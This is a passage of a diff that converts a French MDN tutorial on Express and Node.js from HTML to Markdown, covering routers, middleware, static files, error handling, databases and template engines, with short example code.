documentation d'Express) montre un gestionnaire qui sera exécuté pour les requêtes vers `/secret` indépendamment du verbe HTTP utilisé (à condition qu'il soit supporté par le [module http](https://nodejs.org/api/http.html#http_http_methods)). -<pre class="brush: js">app.all('/secret', (req, res, next) => { +```js +app.all('/secret', (req, res, next) => { console.log('Accès à la section secrète ...'); next(); // passe le contrôle au gestionnaire suivant -});</pre> +}); +``` -<p>Les routes vous permettent de faire correspondre des modèles particuliers de caractères dans une URL, d'extraire certaines valeurs de l'URL et de les transmettre comme paramètres au gestionnaire de la route (en tant qu'attributs de l'objet de la demande transmis comme paramètre).</p> +Les routes vous permettent de faire correspondre des modèles particuliers de caractères dans une URL, d'extraire certaines valeurs de l'URL et de les transmettre comme paramètres au gestionnaire de la route (en tant qu'attributs de l'objet de la demande transmis comme paramètre). -<p>Il est souvent utile de regrouper les gestionnaires de route pour une partie particulière d'un site et d'y accéder en utilisant un préfixe de route commun (par exemple, un site avec un Wiki pourrait avoir toutes les routes liées au wiki dans un seul fichier et les faire accéder avec un préfixe de route de <em>/wiki/</em>). Dans <em>Express</em>, ceci est réalisé en utilisant l'objet <code><a href="https://expressjs.com/fr/guide/routing.html#express-router">express.Router</a></code>. Par exemple, nous pouvons créer notre route wiki dans un module nommé <strong>wiki.js</strong>, puis exporter l'objet <code>Router</code>, comme indiqué ci-dessous :</p> +Il est souvent utile de regrouper les gestionnaires de route pour une partie particulière d'un site et d'y accéder en utilisant un préfixe de route commun (par exemple, un site avec un Wiki pourrait avoir toutes les routes liées au wiki dans un seul fichier et les faire accéder avec un préfixe de route de _/wiki/_). Dans _Express_, ceci est réalisé en utilisant l'objet [`express.Router`](https://expressjs.com/fr/guide/routing.html#express-router). Par exemple, nous pouvons créer notre route wiki dans un module nommé **wiki.js**, puis exporter l'objet `Router`, comme indiqué ci-dessous : -<pre class="brush: js">// wiki.js - Module route du wiki +```js +// wiki.js - Module route du wiki const express = require('express'); const router = express.Router(); // Route vers la page d'accueil -router.get('/', (req, res) => { +router.get('/', (req, res) => { res.send("Page d'accueil du wiki"); }); // Route vers la page à propos -router.get('/about', (req, res) => { +router.get('/about', (req, res) => { res.send('À propos de ce wiki'); }); -module.exports = router;</pre> +module.exports = router; +``` -<div class="note"> - <p><strong>Note :</strong> L'ajout de routes à l'objet <code>Router</code> est identique à l'ajout de routes à l'objet <code>app</code> (comme indiqué précédemment).</p> -</div> +> **Note :** L'ajout de routes à l'objet `Router` est identique à l'ajout de routes à l'objet `app` (comme indiqué précédemment). -<p>Pour utiliser le routeur dans notre fichier d'application principal, nous devrions alors <code>require()</code> le module route (<strong>wiki.js</strong>), puis appeler <code>use()</code> sur l'application <em>Express</em> pour ajouter le routeur au chemin de manipulation du middleware. Les deux routes seront alors accessibles depuis <code>/wiki/</code> et <code>/wiki/about/</code>.</p> +Pour utiliser le routeur dans notre fichier d'application principal, nous devrions alors `require()` le module route (**wiki.js**), puis appeler `use()` sur l'application _Express_ pour ajouter le routeur au chemin de manipulation du middleware. Les deux routes seront alors accessibles depuis `/wiki/` et `/wiki/about/`. -<pre class="brush: js">const wiki = require('./wiki.js'); +```js +const wiki = require('./wiki.js'); // ... -app.use('/wiki', wiki);</pre> +app.use('/wiki', wiki); +``` -<p>Nous vous montrerons beaucoup plus en détails comment travailler avec les routes, et en particulier comment utiliser le <code>Router</code>, plus tard dans la section liée <a href="/fr/docs/Learn/Server-side/Express_Nodejs/routes">Routes et contrôleurs</a>.</p> +Nous vous montrerons beaucoup plus en détails comment travailler avec les routes, et en particulier comment utiliser le `Router`, plus tard dans la section liée [Routes et contrôleurs](/fr/docs/Learn/Server-side/Express_Nodejs/routes). -<h3 id="using_middleware">Utilisation d'un middleware/intergiciel</h3> +### Utilisation d'un middleware/intergiciel -<p>L'intergiciel (aussi appelé « <em>middleware</em> ») est largement utilisé dans les applications d'Express, pour des tâches allant du service de fichiers statiques à la gestion des erreurs, en passant par la compression des réponses HTTP. Alors que les fonctions de route terminent le cycle requête-réponse HTTP en renvoyant une réponse au client HTTP, les fonctions d'intergiciel effectuent <em>typiquement</em> une opération sur la demande ou la réponse, puis appellent la fonction suivante dans la « pile », qui peut être un autre intergiciel ou un gestionnaire de route. L'ordre dans lequel les intergiciels sont appelés dépend du code de l'application.</p> +L'intergiciel (aussi appelé « _middleware_ ») est largement utilisé dans les applications d'Express, pour des tâches allant du service de fichiers statiques à la gestion des erreurs, en passant par la compression des réponses HTTP. Alors que les fonctions de route terminent le cycle requête-réponse HTTP en renvoyant une réponse au client HTTP, les fonctions d'intergiciel effectuent _typiquement_ une opération sur la demande ou la réponse, puis appellent la fonction suivante dans la « pile », qui peut être un autre intergiciel ou un gestionnaire de route. L'ordre dans lequel les intergiciels sont appelés dépend du code de l'application. -<div class="note"> - <p><strong>Note :</strong> L'intergiciel peut effectuer n'importe quelle opération, exécuter n'importe quel code, apporter des modifications à l'objet requête et réponse, et il peut <em>aussi mettre fin au cycle requête-réponse</em>. S'il ne met pas fin au cycle, alors il doit appeler <code>next()</code> pour passer le contrôle à la fonction suivante de l'intergiciel (ou la requête sera laissée en suspens).</p> -</div> +> **Note :** L'intergiciel peut effectuer n'importe quelle opération, exécuter n'importe quel code, apporter des modifications à l'objet requête et réponse, et il peut _aussi mettre fin au cycle requête-réponse_. S'il ne met pas fin au cycle, alors il doit appeler `next()` pour passer le contrôle à la fonction suivante de l'intergiciel (ou la requête sera laissée en suspens). -<p>La plupart des apps utiliseront des <em>programmes intermédiaires tiers</em> afin de simplifier les tâches courantes de développement web comme le travail avec les cookies, les sessions, l'authentification des utilisateurs, l'accès aux données <code>POST</code> et JSON des requêtes, la journalisation, etc. Vous pouvez trouver une <a href="https://expressjs.com/fr/resources/middleware.html">liste des paquets <i>middleware</i> maintenus par l'équipe Express</a> (qui inclut également d'autres paquets populaires de tiers). D'autres paquets Express sont disponibles sur le gestionnaire de paquets NPM.</p> +La plupart des apps utiliseront des _programmes intermédiaires tiers_ afin de simplifier les tâches courantes de développement web comme le travail avec les cookies, les sessions, l'authentification des utilisateurs, l'accès aux données `POST` et JSON des requêtes, la journalisation, etc. Vous pouvez trouver une [liste des paquets _middleware_ maintenus par l'équipe Express](https://expressjs.com/fr/resources/middleware.html) (qui inclut également d'autres paquets populaires de tiers). D'autres paquets Express sont disponibles sur le gestionnaire de paquets NPM. -<p>Pour utiliser un <i>middleware</i> tiers, vous devez d'abord l'installer dans votre application à l'aide de NPM. Par exemple, pour installer l'intergiciel de journalisation des requêtes HTTP <a href="https://expressjs.com/fr/resources/middleware/morgan.html">morgan</a>, vous devez procéder comme suit :</p> +Pour utiliser un _middleware_ tiers, vous devez d'abord l'installer dans votre application à l'aide de NPM. Par exemple, pour installer l'intergiciel de journalisation des requêtes HTTP [morgan](https://expressjs.com/fr/resources/middleware/morgan.html), vous devez procéder comme suit : -<pre class="brush: bash">npm install morgan</pre> +```bash +npm install morgan +``` -<p>Vous pourriez alors appeler <code>use()</code> sur l'objet <em>Express application</em> pour ajouter l'intergiciel à la pile :</p> +Vous pourriez alors appeler `use()` sur l'objet _Express application_ pour ajouter l'intergiciel à la pile : -<pre class="brush: js">const express = require('express'); +```js +const express = require('express'); const logger = require('morgan'); const app = express(); app.use(logger('dev')); -...</pre> +... +``` -<div class="note"> - <p><strong>Note :</strong> Les fonctions d'intergiciel et de routage sont appelées dans l'ordre où elles sont déclarées. Pour certains intergiciels, l'ordre est important (par exemple, si l'intergiciel de session dépend de l'intergiciel de cookie, alors le gestionnaire de cookie doit être ajouté en premier). Il est presque toujours nécessaire d'appeler l'intergiciel avant de définir les routes, sinon vos gestionnaires de routes n'auront pas accès aux fonctionnalités ajoutées par votre intergiciel.</p> -</div> +> **Note :** Les fonctions d'intergiciel et de routage sont appelées dans l'ordre où elles sont déclarées. Pour certains intergiciels, l'ordre est important (par exemple, si l'intergiciel de session dépend de l'intergiciel de cookie, alors le gestionnaire de cookie doit être ajouté en premier). Il est presque toujours nécessaire d'appeler l'intergiciel avant de définir les routes, sinon vos gestionnaires de routes n'auront pas accès aux fonctionnalités ajoutées par votre intergiciel. -<p>Vous pouvez écrire vos propres fonctions intergiciels, et vous serez probablement amené à le faire (ne serait-ce que pour créer un code de gestion des erreurs). La <strong>seule</strong> différence entre une fonction <i>middleware</i> et un <i>callback</i> de gestionnaire de route est que les fonctions <i>middleware</i> ont un troisième argument <code>next</code>, que les fonctions <i>middleware</i> sont censées appeler si elles ne sont pas celle qui termine le cycle de requête (lorsque la fonction <i>middleware</i> est appelée, cela contient la fonction <em>next</em> qui doit être appelée).</p> +Vous pouvez écrire vos propres fonctions intergiciels, et vous serez probablement amené à le faire (ne serait-ce que pour créer un code de gestion des erreurs). La **seule** différence entre une fonction _middleware_ et un _callback_ de gestionnaire de route est que les fonctions _middleware_ ont un troisième argument `next`, que les fonctions _middleware_ sont censées appeler si elles ne sont pas celle qui termine le cycle de requête (lorsque la fonction _middleware_ est appelée, cela contient la fonction _next_ qui doit être appelée). -<p>Vous pouvez ajouter une fonction d'intergiciel à la chaîne de traitement avec <code>app.use()</code> ou <code>app.add()</code>, selon que vous voulez appliquer l'intergiciel à toutes les réponses ou aux réponses avec un verbe HTTP particulier (<code>GET</code>, <code>POST</code>, etc). Vous spécifiez les routes de la même manière dans les deux cas, bien que la route soit facultative lors de l'appel à <code>app.use()</code>.</p> +Vous pouvez ajouter une fonction d'intergiciel à la chaîne de traitement avec `app.use()` ou `app.add()`, selon que vous voulez appliquer l'intergiciel à toutes les réponses ou aux réponses avec un verbe HTTP particulier (`GET`, `POST`, etc). Vous spécifiez les routes de la même manière dans les deux cas, bien que la route soit facultative lors de l'appel à `app.use()`. -<p>L'exemple ci-dessous montre comment vous pouvez ajouter la fonction <i>middleware</i> en utilisant les deux méthodes, et avec/sans route.</p> +L'exemple ci-dessous montre comment vous pouvez ajouter la fonction _middleware_ en utilisant les deux méthodes, et avec/sans route. -<pre class="brush: js">const express = require('express'); +```js +const express = require('express'); const app = express(); // Un exemple de fonction middleware -let a_middleware_function = function(req, res, <em>next</em>) { +let a_middleware_function = function(req, res, next) { // ... effectuer certaines opérations - next(); // Appelez next() pour qu'Express appelle la fonction <i>middleware</i> suivante dans la chaîne. + next(); // Appelez next() pour qu'Express appelle la fonction middleware suivante dans la chaîne. } // Fonction ajoutée avec use() pour toutes les routes et verbes @@ -346,83 +363,87 @@ app.use(a_middleware_function); // Fonction ajoutée avec use() pour une route spécifique app.use('/uneroute', a_middleware_function); -// Une fonction <i>middleware</i> ajoutée pour un verbe et une route HTTP spécifiques +// Une fonction middleware ajoutée pour un verbe et une route HTTP spécifiques app.get('/', a_middleware_function); -app.listen(3000);</pre> +app.listen(3000); +``` -<div class="note"> - <p><strong>Note :</strong> Ci-dessus, nous déclarons la fonction <i>middleware</i> séparément, puis nous la définissons comme fonction de rappel. Dans notre précédente fonction de gestion de route, nous avons déclaré la fonction de rappel lorsqu'elle a été utilisée. En JavaScript, les deux approches sont valables.</p> -</div> +> **Note :** Ci-dessus, nous déclarons la fonction _middleware_ séparément, puis nous la définissons comme fonction de rappel. Dans notre précédente fonction de gestion de route, nous avons déclaré la fonction de rappel lorsqu'elle a été utilisée. En JavaScript, les deux approches sont valables. -<p>La documentation d'Express contient beaucoup d'autres excellents documents sur <a href="https://expressjs.com/fr/guide/using-middleware.html">l'utilisation</a> et <a href="https://expressjs.com/fr/guide/writing-middleware.html">l'écriture</a> d'intergiciels Express.</p> +La documentation d'Express contient beaucoup d'autres excellents documents sur [l'utilisation](https://expressjs.com/fr/guide/using-middleware.html) et [l'écriture](https://expressjs.com/fr/guide/writing-middleware.html) d'intergiciels Express. -<h3 id="serving_static_files">Servir les fichiers statiques</h3> +### Servir les fichiers statiques -<p>Vous pouvez utiliser l'intergiciel <a href="https://expressjs.com/en/4x/api.html#express.static">express.static</a> pour servir des fichiers statiques, notamment vos images, CSS et JavaScript (<code>static()</code> est la seule fonction de l'intergiciel qui fait réellement <strong>partie</strong> d'<em>Express</em>). Par exemple, vous utiliserez la ligne ci-dessous pour servir des images, des fichiers CSS et des fichiers JavaScript à partir d'un répertoire nommé <strong>'public'</strong> au même niveau que celui où vous appelez node :</p> +Vous pouvez utiliser l'intergiciel [express.static](https://expressjs.com/en/4x/api.html#express.static) pour servir des fichiers statiques, notamment vos images, CSS et JavaScript (`static()` est la seule fonction de l'intergiciel qui fait réellement **partie** d'_Express_). Par exemple, vous utiliserez la ligne ci-dessous pour servir des images, des fichiers CSS et des fichiers JavaScript à partir d'un répertoire nommé **'public'** au même niveau que celui où vous appelez node : -<pre class="brush: js">app.use(express.static('public'));</pre> +```js +app.use(express.static('public')); +``` -<p>Tous les fichiers du répertoire public sont servis en ajoutant leur nom de fichier (<em>relatif</em> au répertoire "public" de base) à l'URL de base. Ainsi, par exemple :</p> +Tous les fichiers du répertoire public sont servis en ajoutant leur nom de fichier (_relatif_ au répertoire "public" de base) à l'URL de base. Ainsi, par exemple : -<pre>https://localhost:3000/images/dog.jpg -https://localhost:3000/css/style.css -https://localhost:3000/js/app.js -https://localhost:3000/about.html</pre> + https://localhost:3000/images/dog.jpg + https://localhost:3000/css/style.css + https://localhost:3000/js/app.js + https://localhost:3000/about.html -<p>Vous pouvez appeler <code>static()</code> plusieurs fois pour servir plusieurs répertoires. Si un fichier ne peut pas être trouvé par une fonction middleware, alors il sera simplement transmis au <i>middleware</i> suivant (l'ordre dans lequel le <i>middleware</i> est appelé est basé sur votre ordre de déclaration).</p> +Vous pouvez appeler `static()` plusieurs fois pour servir plusieurs répertoires. Si un fichier ne peut pas être trouvé par une fonction middleware, alors il sera simplement transmis au _middleware_ suivant (l'ordre dans lequel le _middleware_ est appelé est basé sur votre ordre de déclaration). -<pre class="brush: js">app.use(express.static('public')); -app.use(express.static('media'));</pre> +```js +app.use(express.static('public')); +app.use(express.static('media')); +``` -<p>Vous pouvez également créer un préfixe virtuel pour vos URL statiques, plutôt que de voir les fichiers ajoutés à l'URL de base. Par exemple, ici nous <a href="https://expressjs.com/en/4x/api.html#app.use">spécifions un chemin de montage</a> pour que les fichiers soient chargés avec le préfixe « /media » :</p> +Vous pouvez également créer un préfixe virtuel pour vos URL statiques, plutôt que de voir les fichiers ajoutés à l'URL de base. Par exemple, ici nous [spécifions un chemin de montage](https://expressjs.com/en/4x/api.html#app.use) pour que les fichiers soient chargés avec le préfixe « /media » : -<pre class="brush: js">app.use('/media', express.static('public'));</pre> +```js +app.use('/media', express.static('public')); +``` -<p>Maintenant, vous pouvez charger les fichiers qui se trouvent dans le répertoire <code>public</code> à partir du préfixe du chemin <code>/media</code>.</p> +Maintenant, vous pouvez charger les fichiers qui se trouvent dans le répertoire `public` à partir du préfixe du chemin `/media`. -<pre>https://localhost:3000/media/images/dog.jpg -https://localhost:3000/media/video/cat.mp4 -https://localhost:3000/media/cry.mp3</pre> + https://localhost:3000/media/images/dog.jpg + https://localhost:3000/media/video/cat.mp4 + https://localhost:3000/media/cry.mp3 -<div class="note"> - <p><strong>Note :</strong> Voir également <a href="https://expressjs.com/fr/starter/static-files.html">Servir des fichiers statiques dans Express</a>.</p> -</div> +> **Note :** Voir également [Servir des fichiers statiques dans Express](https://expressjs.com/fr/starter/static-files.html). -<h3 id="handling_errors">Traitement des erreurs</h3> +### Traitement des erreurs -<p>Les erreurs sont traitées par une ou plusieurs fonctions spéciales du <i>middleware</i> qui ont quatre arguments, au lieu des trois habituels : <code>(err, req, res, next)</code>. Par exemple :</p> +Les erreurs sont traitées par une ou plusieurs fonctions spéciales du _middleware_ qui ont quatre arguments, au lieu des trois habituels : `(err, req, res, next)`. Par exemple : -<pre class="brush: js">app.use(function(err, req, res, next) { +```js +app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send("Quelque chose s'est cassé !"); -});</pre> +}); +``` -<p>Ceux-ci peuvent retourner tout contenu nécessaire, mais doivent être appelés après tous les autres <code>app.use()</code> et les appels de routes afin qu'ils soient le dernier <i>middleware</i> dans le processus de traitement des requêtes !</p> +Ceux-ci peuvent retourner tout contenu nécessaire, mais doivent être appelés après tous les autres `app.use()` et les appels de routes afin qu'ils soient le dernier _middleware_ dans le processus de traitement des requêtes ! -<p>Express est livré avec un gestionnaire d'erreurs intégré, qui prend en charge toutes les erreurs restantes qui pourraient être rencontrées dans l'application. Cette fonction <i>middleware</i> de gestion des erreurs par défaut est ajoutée à la fin de la pile de fonctions middleware. Si vous passez une erreur à <code>next()</code> et que vous ne la gérez pas dans un gestionnaire d'erreurs, elle sera traitée par le gestionnaire d'erreurs intégré ; l'erreur sera écrite au client avec la trace de la pile.</p> +Express est livré avec un gestionnaire d'erreurs intégré, qui prend en charge toutes les erreurs restantes qui pourraient être rencontrées dans l'application. Cette fonction _middleware_ de gestion des erreurs par défaut est ajoutée à la fin de la pile de fonctions middleware. Si vous passez une erreur à `next()` et que vous ne la gérez pas dans un gestionnaire d'erreurs, elle sera traitée par le gestionnaire d'erreurs intégré ; l'erreur sera écrite au client avec la trace de la pile. -<div class="note"> - <p><strong>Note :</strong> La trace de la pile n'est pas incluse dans l'environnement de production. Pour exécuter une application serveur Express, la variable d'environnement <code>NODE_ENV</code> doit être définie avec la valeur <code>production</code>.</p> -</div> +> **Note :** La trace de la pile n'est pas incluse dans l'environnement de production. Pour exécuter une application serveur Express, la variable d'environnement `NODE_ENV` doit être définie avec la valeur `production`. -<div class="note"> - <p><strong>Note :</strong> Les codes d'état HTTP 404 et autres « erreurs » ne sont pas traités comme des erreurs. Si vous voulez les gérer, vous pouvez ajouter une fonction <i>middleware</i> pour le faire. Pour plus d'informations, consultez la <a href="https://expressjs.com/fr/starter/faq.html#how-do-i-handle-404-responses">FAQ</a>.</p> -</div> +> **Note :** Les codes d'état HTTP 404 et autres « erreurs » ne sont pas traités comme des erreurs. Si vous voulez les gérer, vous pouvez ajouter une fonction _middleware_ pour le faire. Pour plus d'informations, consultez la [FAQ](https://expressjs.com/fr/starter/faq.html#how-do-i-handle-404-responses). -<p>Pour plus d'informations, voir <a href="https://expressjs.com/fr/guide/error-handling.html">Gestion des erreurs</a> (docs Express).</p> +Pour plus d'informations, voir [Gestion des erreurs](https://expressjs.com/fr/guide/error-handling.html) (docs Express). -<h3 id="using_databases">Utilisation des bases de données</h3> +### Utilisation des bases de données -<p>Les apps <em>Express</em> peuvent utiliser tout mécanisme de base de données pris en charge par <em>Node</em> (<em>Express</em> lui-même ne définit aucun comportements/exigences supplémentaire spécifique pour la gestion des bases de données). Il existe de nombreuses options, notamment PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.</p> +Les apps _Express_ peuvent utiliser tout mécanisme de base de données pris en charge par _Node_ (_Express_ lui-même ne définit aucun comportements/exigences supplémentaire spécifique pour la gestion des bases de données). Il existe de nombreuses options, notamment PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc. -<p>Pour les utiliser, vous devez d'abord installer le pilote de base de données à l'aide de NPM. Par exemple, pour installer le pilote de la populaire base de données NoSQL MongoDB, vous devez utiliser la commande suivante :</p> +Pour les utiliser, vous devez d'abord installer le pilote de base de données à l'aide de NPM. Par exemple, pour installer le pilote de la populaire base de données NoSQL MongoDB, vous devez utiliser la commande suivante : -<pre class="brush: bash">$ npm install mongodb</pre> +```bash +$ npm install mongodb +``` -<p>La base de données elle-même peut être installée localement ou sur un serveur en nuage. Dans votre code Express, vous avez besoin du pilote, vous vous connectez à la base de données, puis vous effectuez des opérations de création, lecture, mise à jour et suppression (en anglais, on utilise l'acronyme CRUD qui signifie <i>Create, Read, Update, Delete</i>). L'exemple ci-dessous (tiré de la documentation d'Express) montre comment vous pouvez trouver des enregistrements « mammifères » en utilisant MongoDB.</p> +La base de données elle-même peut être installée localement ou sur un serveur en nuage. Dans votre code Express, vous avez besoin du pilote, vous vous connectez à la base de données, puis vous effectuez des opérations de création, lecture, mise à jour et suppression (en anglais, on utilise l'acronyme CRUD qui signifie _Create, Read, Update, Delete_). L'exemple ci-dessous (tiré de la documentation d'Express) montre comment vous pouvez trouver des enregistrements « mammifères » en utilisant MongoDB. -<pre class="brush: js">// cela fonctionne avec les anciennes versions de mongodb version ~ 2.2.33 +```js +// cela fonctionne avec les anciennes versions de mongodb version ~ 2.2.33 const MongoClient = require('mongodb').MongoClient; MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) { @@ -446,19 +467,21 @@ MongoClient.connect('mongodb://localhost:27017/animals', function(err, client){ console.log(result); client.close(); }); -});</pre> +}); +``` -<p>Une autre approche populaire consiste à accéder à votre base de données de manière indirecte, via un mappeur objet-relationnel (« ORM »). Dans cette approche, vous définissez vos données en tant qu'objets ou modèles et l'ORM les met en correspondance avec le format de base de données sous-jacent. L'avantage de cette approche est qu'en tant que développeur, vous pouvez continuer à penser en termes d'objets JavaScript plutôt qu'en termes de sémantique de base de données, et qu'il existe un endroit évident pour effectuer la validation et la vérification des données entrantes. Nous parlerons davantage des bases de données dans un article ultérieur.</p> +Une autre approche populaire consiste à accéder à votre base de données de manière indirecte, via un mappeur objet-relationnel (« ORM »). Dans cette approche, vous définissez vos données en tant qu'objets ou modèles et l'ORM les met en correspondance avec le format de base de données sous-jacent. L'avantage de cette approche est qu'en tant que développeur, vous pouvez continuer à penser en termes d'objets JavaScript plutôt qu'en termes de sémantique de base de données, et qu'il existe un endroit évident pour effectuer la validation et la vérification des données entrantes. Nous parlerons davantage des bases de données dans un article ultérieur. -<p>Pour plus d'informations, voir <a href="https://expressjs.com/fr/guide/database-integration.html">Intégration de base de données</a> (docs Express).</p> +Pour plus d'informations, voir [Intégration de base de données](https://expressjs.com/fr/guide/database-integration.html) (docs Express). -<h3 id="rendering_data_views">Rendu des données (vues)</h3> +### Rendu des données (vues) -<p>Les moteurs de modèles (appelés « moteurs de vue » par <em>Express</em>) vous permettent de spécifier la <em>structure</em> d'un document de sortie dans un modèle, en utilisant des espaces réservés pour les données qui seront remplies lorsqu'une page sera générée. Les modèles sont souvent utilisés pour créer du HTML, mais peuvent également créer d'autres types de documents. Express prend en charge <a href="https://github.com/expressjs/express/wiki#template-engines">un certain nombre de moteurs de modèles</a>, et il existe une comparaison utile des moteurs les plus populaires ici : <a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">Comparaison des moteurs de création de modèles JavaScript : Jade, Mustache, Dust et plus</a>.</p> +Les moteurs de modèles (appelés « moteurs de vue » par _Express_) vous permettent de spécifier la _structure_ d'un document de sortie dans un modèle, en utilisant des espaces réservés pour les données qui seront remplies lorsqu'une page sera générée. Les modèles sont souvent utilisés pour créer du HTML, mais peuvent également créer d'autres types de documents. Express prend en charge [un certain nombre de moteurs de modèles](https://github.com/expressjs/express/wiki#template-engines), et il existe une comparaison utile des moteurs les plus populaires ici : [Comparaison des moteurs de création de modèles JavaScript : Jade, Mustache, Dust et plus](https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/). -<p>Dans le code des paramètres de votre application, vous définissez le moteur de modèles à utiliser et l'emplacement où Express doit rechercher les modèles à l'aide des paramètres « views » et « view engines », comme indiqué ci-dessous (vous devrez également installer le paquet contenant votre bibliothèque de modèles !)</p> +Dans le code des paramètres de votre application, vous définissez le moteur de modèles à utiliser et l'emplacement où Express doit rechercher les modèles à l'aide des paramètres « views » et « view engines », comme indiqué ci-dessous (vous devrez également installer le paquet contenant votre bibliothèque de modèles !) -<pre class="brush: js">const express = require('express'); +```js +const express = require('express'); const path = require('path'); const app = express(); @@ -466,56 +489,55 @@ const app = express(); app.set('views', path.join(__dirname, 'views')); // Définir le moteur d'affichage à utiliser, dans ce cas 'some_template_engine_name'. -app.set('view engine', 'some_template_engine_name');</pre> +app.set('view engine', 'some_template_engine_name'); +``` -<p>L'apparence du modèle dépendra du moteur que vous utilisez. En supposant que vous ayez un fichier de modèle nommé « index.<template_extension> » qui contient des espaces réservés pour des variables de données nommées « title » et « message », vous appelleriez <code><a href="https://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> dans une fonction de gestionnaire de route pour créer et envoyer la réponse HTML :</p> +L'apparence du modèle dépendra du moteur que vous utilisez. En supposant que vous ayez un fichier de modèle nommé « index.\<template_extension> » qui contient des espaces réservés pour des variables de données nommées « title » et « message », vous appelleriez [`Response.render()`](https://expressjs.com/en/4x/api.html#res.render) dans une fonction de gestionnaire de route pour créer et envoyer la réponse HTML : -<pre class="brush: js">app.get('/', function(req, res) { +```js +app.get('/', function(req, res) { res.render('index', { title: 'À propos des poules', message: 'Elles sont où ?' }); -});</pre> +}); +``` -<p>Pour plus d'informations, voir <a href="https://expressjs.com/fr/guide/using-template-engines.html">Utilisation des moteurs de modèles avec Express</a> (docs Express).</p> +Pour plus d'informations, voir [Utilisation des moteurs de modèles avec Express](https://expressjs.com/fr/guide/using-template-engines.html) (docs Express). -<h3 id="file_structure">Structure du fichier</h3> +### Structure du fichier -<p>Express ne fait aucune supposition en termes de structure ou de composants que vous utilisez. Les routes, les vues, les fichiers statiques et toute autre logique spécifique à l'application peuvent vivre dans un nombre quelconque de fichiers avec n'importe quelle structure de répertoire. Bien qu'il soit parfaitement possible d'avoir l'ensemble de l'application <em>Express</em> dans un seul fichier, il est généralement judicieux de diviser votre application en fichiers basés sur la fonction (par exemple, gestion de compte, blogs, forums de discussion) et le domaine de problème architectural (par exemple, modèle, vue ou contrôleur si vous utilisez une <a href="/fr/docs/Glossary/MVC">architecture MVC</a>).</p> +Express ne fait aucune supposition en termes de structure ou de composants que vous utilisez. Les routes, les vues, les fichiers statiques et toute autre logique spécifique à l'application peuvent vivre dans un nombre quelconque de fichiers avec n'importe quelle structure de répertoire. Bien qu'il soit parfaitement possible d'avoir l'ensemble de l'application _Express_ dans un seul fichier, il est généralement judicieux de diviser votre application en fichiers basés sur la fonction (par exemple, gestion de compte, blogs, forums de discussion) et le domaine de problème architectural (par exemple, modèle, vue ou contrôleur si vous utilisez une [architecture MVC](/fr/docs/Glossary/MVC)). -<p>Dans une prochaine rubrique, nous utiliserons le <em>Générateur d'applications express</em>, qui crée un squelette d'application modulaire que nous pouvons facilement étendre pour créer des applications web.</p> +Dans une prochaine rubrique, nous utiliserons le _Générateur d'applications express_, qui crée un squelette d'application modulaire que nous pouvons facilement étendre pour créer des applications web. -<h2 id="summary">Résumé</h2> +## Résumé -<p>Félicitations, vous avez terminé la première étape de votre voyage Express/Node ! Vous devriez maintenant comprendre les principaux avantages d'Express et de Node, et savoir à quoi ressemblent les principales parties d'une application Express (routes, intergiciels, gestion des erreurs et code modèle). Vous devez également comprendre qu'Express étant un framework non autonome, la manière dont vous assemblez ces éléments et les bibliothèques que vous utilisez dépendent largement de vous !</p> +Félicitations, vous avez terminé la première étape de votre voyage Express/Node ! Vous devriez maintenant comprendre les principaux avantages d'Express et de Node, et savoir à quoi ressemblent les principales parties d'une application Express (routes, intergiciels, gestion des erreurs et code modèle). Vous devez également comprendre qu'Express étant un framework non autonome, la manière dont vous assemblez ces éléments et les bibliothèques que vous utilisez dépendent largement de vous ! -<p>Bien sûr, Express est délibérément un cadre d'application web très léger, et une grande partie de ses avantages et de son potentiel provient de bibliothèques et de fonctionnalités tierces. Nous les examinerons plus en détail dans les articles suivants. Dans notre prochain article, nous nous pencherons sur la configuration d'un environnement de développement Node, afin que vous puissiez commencer à voir du code Express en action.</p> +Bien sûr, Express est délibérément un cadre d'application web très léger, et une grande partie de ses avantages et de son potentiel provient de bibliothèques et de fonctionnalités tierces. Nous les examinerons plus en détail dans les articles suivants. Dans notre prochain article, nous nous pencherons sur la configuration d'un environnement de développement Node, afin que vous puissiez commencer à voir du code Express en action. -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://medium.com/@ramsunvtech/manage-multiple-node-versions-e3245d5ede44">Venkat.R - Gestion de plusieurs versions de Node</a></li> - <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (docs Node)</li> - <li><a href="https://expressjs.com/">Express</a> (page d'accueil)</li> - <li><a href="https://expressjs.com/fr/starter/basic-routing.html">Routage de base</a> (docs Express)</li> - <li><a href="https://expressjs.com/fr/guide/routing.html">Guide de routage</a> (docs Express)</li> - <li><a href="https://expressjs.com/fr/guide/using-template-engines.html">Utilisation de moteurs de modèles avec Express</a> (docs Express)</li> - <li><a href="https://expressjs.com/fr/guide/using-middleware.html">Utilisation d'intergiciel</a> (docs Express)</li> - <li><a href="https://expressjs.com/fr/guide/writing-middleware.html">Écriture d'intergiciels à utiliser dans les applications Express</a> (docs Express)</li> - <li><a href="https://expressjs.com/fr/guide/database-integration.html">Intégration des bases de données</a> (docs Express)</li> - <li><a href="https://expressjs.com/fr/starter/static-files.html">Servir les fichiers statiques dans Express</a> (docs Express)</li> - <li><a href="https://expressjs.com/fr/guide/error-handling.html">Gestion des erreurs</a> (docs Express)</li> -</ul> +- [Venkat.R - Gestion de plusieurs versions de Node](https://medium.com/@ramsunvtech/manage-multiple-node-versions-e3245d5ede44) +- [Modules](https://nodejs.org/api/modules.html#modules_modules) (docs Node) +- [Express](https://expressjs.com/) (page d'accueil) +- [Routage de base](https://expressjs.com/fr/starter/basic-routing.html) (docs Express) +- [Guide de routage](https://expressjs.com/fr/guide/routing.html) (docs Express) +- [Utilisation de moteurs de modèles avec Express](https://expressjs.com/fr/guide/using-template-engines.html) (docs Express) +- [Utilisation d'intergiciel](https://expressjs.com/fr/guide/using-middleware.html) (docs Express) +- [Écriture d'intergiciels à utiliser dans les applications Express](https://expressjs.com/fr/guide/writing-middleware.html) (docs Express) +- [Intégration des bases de données](https://expressjs.com/fr/guide/database-integration.html) (docs Express) +- [Servir les fichiers statiques dans Express](https://expressjs.com/fr/starter/static-files.html) (docs Express) +- [Gestion des erreurs](https://expressjs.com/fr/guide/error-handling.html) (docs Express) 